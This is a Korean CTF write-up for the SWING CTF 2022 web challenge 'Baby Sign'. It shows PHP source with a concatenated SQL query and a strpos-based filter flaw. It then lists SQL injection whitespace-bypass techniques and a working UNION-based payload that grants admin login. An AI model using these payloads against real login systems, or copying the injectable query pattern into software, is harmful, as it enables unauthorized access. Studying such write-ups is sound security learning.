본문 바로가기

CTF/SWING CTF 2022

[Web] Baby Sign

sql injection 문제라고 한다.

 

 

일단 다운받은 파일들을 살펴보자.

 

오. 저기 flag.php 가 있는데 저거부터 열어보도록 하자.

<?php
    define('IS_INCLUDED', true);
    include($_SERVER["DOCUMENT_ROOT"].'/include/config.php');

    if (!is_signin()) {
        redirect('/index.php', 'Sign in first');
        die();
    }

    if ($_SESSION['is_admin']) {
        echo "SWING{--censored--}";
    } else {
        redirect('/index.php', 'You are not an admin');
    }
?>

flag를 얻으려면 admin...이 되어야 하는데.

저 아래에 있는 sign in, out, up은 아래 페이지와 관련 있는 것 같고.

로그인이나 회원가입을 통해서 admin 권한을 획득하라 이건가.

우선 하나씩 코드를 살펴보자.

 

signin.php

<?php
    define('IS_INCLUDED', true);
    include($_SERVER["DOCUMENT_ROOT"].'/include/config.php');

    if (is_signin()) {
        redirect('/index.php', 'You are already signed in :)');
        die();
    }

    if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST) {
        $id = $_POST['id'];
        $pw = $_POST['pw'];

        if (!$id || !$pw) {
            redirect(null, 'Not enough params :(');
            die();
        }

        if (!check($id)) {
            die('No hack :(');
        }
        $pw = sha256($pw);

        $query = "SELECT * FROM users WHERE id='$id' AND pw='$pw';";
        $res = mysqli_query($conn, $query);
        $res = mysqli_fetch_array($res, MYSQLI_ASSOC);
        if (!$res) {
            redirect(null, 'Signin fail :(');
            die();
        }

        $_SESSION['id'] = $res['id'];
        $_SESSION['is_admin'] = $res['is_admin'];
        redirect('/index.php', null);
        die();
    }
?>

<html>
    <head>
        <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
        <title>Sign</title>
    </head>
    <body>
        <?php
            include($_SERVER["DOCUMENT_ROOT"].'/include/navbar.php');
        ?>
        <div class="container">
            <div class="col-md-6 col-sm-12">
                <div class="login-form">
                <form method="post">
                    <div class="form-group">
                        <label>ID</label>
                        <input type="text" class="form-control" placeholder="ID" name="id">
                    </div>
                    <div class="form-group">
                        <label>Password</label>
                        <input type="password" class="form-control" placeholder="Password" name="pw">
                    </div>
                    <button type="submit" class="btn btn-black">Sign in</button>
                </form>
                </div>
            </div>
        </div> 
    </body>
</html>

24번 줄 $query = "SELECT * FROM users WHERE id='$id' AND pw='$pw';"; 에서

사용자가 전송한 POST 값을 쿼리문에서 id와 pw로 그대로 들어가기 때문에

sql 쿼리문을 취약한 패턴으로 사용하고 있다.

이렇게 되면 뒤에 원하는 조건문을 추가하는 등 sql 공격이 가능해진다.

 

그래서 그 바로 위에서 check 함수를 통해 id 값이 해킹당하진 않았는지 검증하고 있는 것이다.

저 check 함수는 include 폴더에 util.php 에 정의되어 있다.

' " \ 그리고 공백을 필터링한다는걸 알 수 있다.

<?php
    if(!defined('IS_INCLUDED')) {
        die('Not allowed :(');
    }

    if(!$conn) {
        die('DB Connection Error :(');
    }

    function redirect($loc, $alert) {
        $script = '<script>';
        if ($alert !== null) {
            $script .= "alert('$alert');";
        }
        if ($loc === null) {
            $script .= "history.go(-1);";
        } else {
            $script .= "location.href='$loc';";
        }
        $script .= "</script>";

        die($script);
    }

    function check($data) {
        $filters = array("'", '"', "\\", " ");
        foreach ($filters as $filter) {
            if (strpos($data, $filter)) {
                return false;
            }
        }
        return true;
    }

    function is_signin() {
        return isset($_SESSION['id']);
    }

    function sha256($data) {
        $salt = "--censored--";
        return hash('sha256', $data.$salt);
    }
?>

그런데 check 함수 안에 strpos 함수가 보인다.

저건 힌트로 나왔던 그 함수다.

 

PHP: strpos - Manual

[PHP] strpos() 문자열 함수 : 네이버 블로그 (naver.com)

 

그래 이 함수.

 

strpos(string $haystack, string $needle, int $offset = 0): int|false

 

첫번째 파라미터 값에서 두번째 파라미터의 문자열이 몇번째 위치에 있는지 인덱스를 반환한다.

 

그러니까 strpos가 데이터를 반환하는데 문자열 앞에 ' " \ 이나 공백이 있어서 필터링되고

strpos 함수가 0을 리턴하게 되면 함수를 탈출해 return true;

 

0을 리턴하지 못하면 return false; 하고

아까 check 함수에서 No hack 이 출력된다.

 

pw 파라미터는 sha256으로 패싱되어 들어가기 때문에 sql injection 공격이 불가능하다.

하지만 id 파라미터는 check 검증 로직 하나를 제외하면 걸림돌이 될 것이 없기 때문에 id 파라미터를 통해 공격을 진행한다.

 

BinaryU :: SQL Injection 공백 우회방법 (tistory.com)

 

SQL Injection 공격시 공백 문자 필터링시 우회 방법

 

1. Tab : %09

  - no=1%09or%09id='admin'

 

2. Line Feed (\n): %0a

  - no=1%0aor%0aid='admin'

 

3. Carrage Return(\r) : %0d

  - no=1%0dor%0did='admin'

 

4. 주석 : /**/

  - no=1/**/or/**/id='admin'

 

5. 괄호 : ()

  - no=(1)or(id='admin')

 

6. 더하기 : +

  - no=1+or+id='admin'

 

위의 방법들을 이용해 우회해보자.

 

 

'/**/and/**/1=8/**/union/**/select/**/1,1,1,1#

 

주석을 이용해 우회하는 방법을 썼다.

pw는 아무거나 입력했다. 어차피 상관없으니까.

 

 

로그인이 되고 플래그를 획득할 수 있다.

 

SWING{n0w_1ts_71m3_t0_s0lv3_th3_SIGN_prob!!!}

 

 

왜 이런 공격이 가능했느냐하면,

 

signin.php 11, 12번 줄에 입력한 id 와 pw가 들어가게 된다.

 

 if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST) {
        $id = $_POST['id'];
        $pw = $_POST['pw'];

 

그 아래 check 함수에서 ' 가 들어있음에도 strpos에서 0을 반환하는 바람에

 

24번 줄 $query = "SELECT * FROM users WHERE id='$id' AND pw='$pw';"; 에

 

$query = "SELECT * FROM users WHERE id=''/**/and/**/1=8/**/union/**/select/**/1,1,1,1#' AND pw='$pw';";

이런 식으로 들어간다. 

 

WHERE 구문 다음을 false로 만들어 users 테이블에서 원하는 값을 조회하지 못하게 만들기 위함이다.

1과 8이 다르기 때문에 false가 되고 뒷부분 데이터가 넘어오지 않는 것이다.

 

admin이 되려면 is_admin 값이 1이어야 하기 때문에

union select를 이용해서그 아래 is_admin 값에 1이 들어가게 하는 것이다.

 

'CTF > SWING CTF 2022' 카테고리의 다른 글

[Web] under construction  (0) 2022.12.04
[Web] babyxss  (0) 2022.12.04
[Rev] Snail  (0) 2022.12.04
[Rev] Ransomware  (0) 2022.12.03
[Rev] OPEN THE DOOR  (0) 2022.12.03